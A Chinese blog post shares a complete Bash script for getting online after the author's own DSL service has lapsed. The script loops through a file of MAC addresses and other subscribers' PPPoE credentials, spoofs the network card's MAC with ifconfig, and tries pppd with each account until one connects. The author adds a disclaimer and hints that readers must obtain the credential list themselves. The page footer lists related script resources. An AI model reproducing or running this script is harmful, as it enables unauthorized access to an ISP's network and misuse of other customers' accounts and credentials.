`
qdzheng
  • 浏览: 67733 次
  • 性别: Icon_minigender_1
  • 来自: 济南
社区版块
存档分类
最新评论

大家都来研究一个Bash脚本吧

阅读更多

贴一个脚本,纯出于练习目的,用于网络服务到期,无法上网,暂时的解决办法。适用某通网络,不一定适用于所有网络。特别声明,使用此脚本而导致的一切后果与本人无关。

 

 

#!/bin/bash
#Fuck TieTong!
let startIndex=1   #从指定位置的帐号开始试探
let tryCount=0     #尝试帐号的数量,0指不限定
accountFile='/path/to/your/dsl-account.txt'

if [ $UID -ne 0 ]; then
	echo Must be root user to execute this script.
	exit 0
fi
if [ $1 ]; then
	let startIndex=$1
fi
if [ $2 ]; then
	let tryCount=$2
fi
#using ether device : eth0
ETH="eth0"
#ETH="eth1"
#echo $startIndex    +$tryCount
let lineCount=0
let count=0
for v in `cat $accountFile`; do
	#echo using account $v
        let aidx=`expr index "$v" =`
	let lineCount=$lineCount+1
	if [ $lineCount -lt $startIndex ]; then
		continue
	fi
	if [ $aidx -gt 0 ]; then
		let pidx=`expr index "$v" /`
		let nidx=`expr index "$v" "#"`
		let flen=`expr length "$v"`
		if [ $nidx -eq 1 ];then
			continue
		fi
		let count=$count+1
		if [ $tryCount -ne 0 -a $count -gt $tryCount ]; then
			break
		fi

		let mlen=$aidx-1
		mac=`expr substr "$v" 1 $mlen`
		#取帐号与密码
		#echo $pidx ====== $nidx
		if [ $pidx -gt $nidx -a $nidx -ne 0 ]; then
			let pidx=$nidx
		fi
		if (( $pidx > 0 &&  ( $pidx < $nidx || $nidx == 0 ))); then
			let alen=$pidx-$aidx-1
			let aidx=$aidx+1
			a=`expr substr "$v" $aidx $alen`
			if [ $nidx -gt 0 ]; then
				let plen=$nidx-$pidx-1
			else
				let plen=$flen-$pidx
			fi
			let pidx=$pidx+1
			p=`expr substr "$v" $pidx $plen`
		else
			if [ $nidx -gt 0 ]; then
				let alen=$nidx-$aidx-1
				let aidx=$aidx+1
			else
				let alen=$flen-$aidx
				let aidx=$aidx+1
			fi
			a=`expr substr "$v" $aidx $alen`
			p=$a
		fi
	
		echo "======================================================="
		echo try  $lineCount   $a/$p    $mac
		echo "===============================================">>/var/log/ppp-dsl.log
		echo `date +'%F %H:%M.%S'` using $mac and  $a,$p>>/var/log/ppp-dsl.log
		ifconfig $ETH down;ifconfig $ETH hw ether $mac;ifconfig $ETH up
	       	sleep 2
		#dhcpcd eth0
		pppd noipdefault defaultroute hide-password persist plugin rp-pppoe.so $ETH noauth user "$a" password "$p" logfile /var/log/ppp-dsl.log maxfail 1 #等待pppd进程终止,或延时60s
		#pppd demand idle 300 noipdefault defaultroute hide-password persist plugin rp-pppoe.so $ETH noauth user "$a" password "$p" logfile /var/log/ppp-dsl.log maxfail 1 #等待pppd进程终止,或延时60s
		for((dc=0;dc<20;dc++)) do
			sleep 2
			#检测网络界面中是否存在名为ppp的接口
			let s=`ifconfig | grep ppp | wc -l`
			if [ $s -gt 0 ]; then
				echo ":):)  found it. mac : $mac, $a"
				exit 0
			fi
			let pc=`ps -A|grep pppd|wc -l`
			if [ $pc -gt 0 ]; then
				#echo $dc
				continue
			fi
			echo pppd process is terminated.
			echo mac $mac is using, break process.
			break
		done	
	fi
done
echo ":(:(:(:(:(:(:(  not found."
exit 1

 

 脚本中使用的dsl-account.txt文件格式:

 

#line format <MAC Addr>=<user>[/<pwd>[#<comment>]]
0F:EB:BF:10:03:FB=xxxxxxxx@YY/123456#demo for line.

 

 

不要问我,怎么获得dsl-account.txt中内容。如果这个不知道的话,还是别试了。

还有,如果你是Windows用户,也别试了。嘿嘿。

 

0
0
分享到:
评论

相关推荐

    常用bash脚本tools.zip

    以上只是对Bash脚本基础和应用的一个概览,实际的"常用bash脚本tools.zip"可能包含更具体的工具和示例。解压并研究这些脚本,可以帮助我们学习如何在实际环境中有效地使用Bash。每个脚本都可能是一个小的解决方案,...

    只是一个bash脚本;在终端中复制矩阵的效果;使.zip

    总的来说,这个项目提供了一个学习Bash脚本和终端交互的好机会,特别是对于那些想提升终端技能或者对创建动态文本效果感兴趣的用户来说。通过研究这个脚本,可以了解到如何利用Bash的特性来创建出引人注目的终端效果...

    linux-Shinatra只用55行bash脚本实现的一个简单的web服务器

    总结来说,“Shinatra”是Linux开发领域的一个有趣实践,它通过55行bash脚本实现了基本的Web服务器功能,展示了Linux系统的强大和bash脚本的灵活性。对这个项目的研究不仅可以帮助我们掌握Web服务器的基础,也能提升...

    Linux 高级Bash脚本编程实用指南

    "Linux 高级Bash脚本编程实用指南"正是这样一本针对熟练Linux用户和系统管理员,旨在提升Bash脚本编写技巧的参考资料。 该指南可能涵盖以下关键知识点: 1. **Bash基础知识**:包括Bash的安装与配置,Shell环境...

    linux-Lobash用于Bash脚本开发的现代安全强大的工具库

    总的来说,Lobash是Linux开发人员和Shell脚本编写者的一个宝贵资源,它通过提供一套安全、高效的工具,提升了Bash脚本的质量和安全性。如果你经常编写Bash脚本,了解并使用Lobash将极大地提高你的工作效率,并降低...

    Python-BashInfinity是bash的一个现代的样板框架标准库

    总的来说,Python-BashInfinity是Bash脚本开发的一个重要进步,它引入了现代化的编程理念,使Bash脚本更加结构化、模块化,同时增强了调试和维护的便利性。对于需要编写复杂Bash脚本的IT专业人士来说,这是一个值得...

    linux-NetworkAttacker是一个基于Mdk3的Wifi压力测试Bash脚本程序

    总结,Linux Network Attacker是一个针对无线网络的压力测试工具,它基于Mdk3进行操作,提供了Bash脚本来简化攻击过程。这个工具对于无线网络安全的研究、测试和教育具有重要意义,但使用时必须确保合法性和安全性。

    bash.tar.gz

    "bash.tar.gz" 是一个压缩文件,它使用了两种常见的工具——`tar` 和 `gzip` 来打包和压缩文件。在 Linux 和类 Unix 系统中,这种组合经常用于存储和传输数据。`tar` 主要用于将多个文件或目录打包成一个单一的归档...

    Bash脚本示例:项目的Bash脚本

    在深入研究Bash脚本的知识点时,我们可以关注以下几个方面: 1. **基本语法**:了解Bash脚本的基本结构,包括注释(#开始的行)、变量声明($var)和命令行参数($1, $2等)。 2. **流程控制**:掌握如何使用if-...

    TheBashMenu:一个有用的bash脚本,可让您轻松创建自己的菜单,该菜单使用方向键! 快速添加标题,选项和命令,一切顺利!

    为了简化这一过程,开发人员经常创建Bash脚本来创建用户友好的交互式菜单。"TheBashMenu"就是这样一种工具,它允许用户通过简单的菜单选择来执行预定义的命令,无需记住复杂的命令行语法。 TheBashMenu的核心是使用...

    bashScripts:一些bash脚本

    总的来说,`bashScripts:一些bash脚本`这个压缩包提供了一个学习bash脚本和git集成的好机会。通过深入研究`countGitLines.sh`,不仅可以掌握bash脚本编写的基础,还能进一步了解git的使用,提升你在软件开发中的自动...

    BASH:我写的一些 BASH 脚本的集合

    一个简单的BASH脚本通常以`#!/bin/bash`作为开头,这是所谓的"shebang",告诉系统使用哪个解释器来执行脚本。接下来是变量定义、函数声明以及命令序列。脚本中的每行都是一个命令,可以是内置命令、系统命令或自定义...

    bash-4.0 源码

    通过研究bash-4.0源码,我们可以深入理解Shell的工作原理,这对于Linux系统管理员、开发者和对操作系统有深厚兴趣的人来说是极其宝贵的资源。 首先,bash-4.0包含了实现各种Shell特性的代码,如命令历史记录、别名...

    bash-scripts:我编写的bash脚本集合

    如果你对Bash脚本编程感兴趣,或者想要学习如何利用它们来自动化工作流程,这个资源将是一个宝贵的参考资料。通过深入研究这些脚本,你可以了解Bash的各种语法特性、最佳实践以及如何构建复杂的shell脚本。

    bash源代码

    通过研究bash4.4的源代码,不仅可以了解shell的工作机制,还可以学习C语言编程、编译原理、正则表达式处理以及Unix/Linux系统编程等多个方面的知识。对于希望深入理解操作系统和系统级开发的程序员来说,bash源代码...

    bash shell 源代码

    在深入研究bash 4.2源码之前,你需要了解一些基础概念。例如,shell程序通常分为词法分析、解析、执行三个阶段。词法分析将输入的命令行转换为单词(tokens),解析阶段则将这些单词按照语法规则转化为抽象语法树...

    bash-scripts:bash脚本的个人收藏

    在IT行业中,Bash脚本是一种非常实用的自动化工具,特别是在...对于初学者来说,这是一个很好的资源库,可以帮助他们理解Bash脚本的语法和用法。对于经验丰富的开发者,这些脚本可以提供灵感和解决特定问题的方法。

Global site tag (gtag.js) - Google Analytics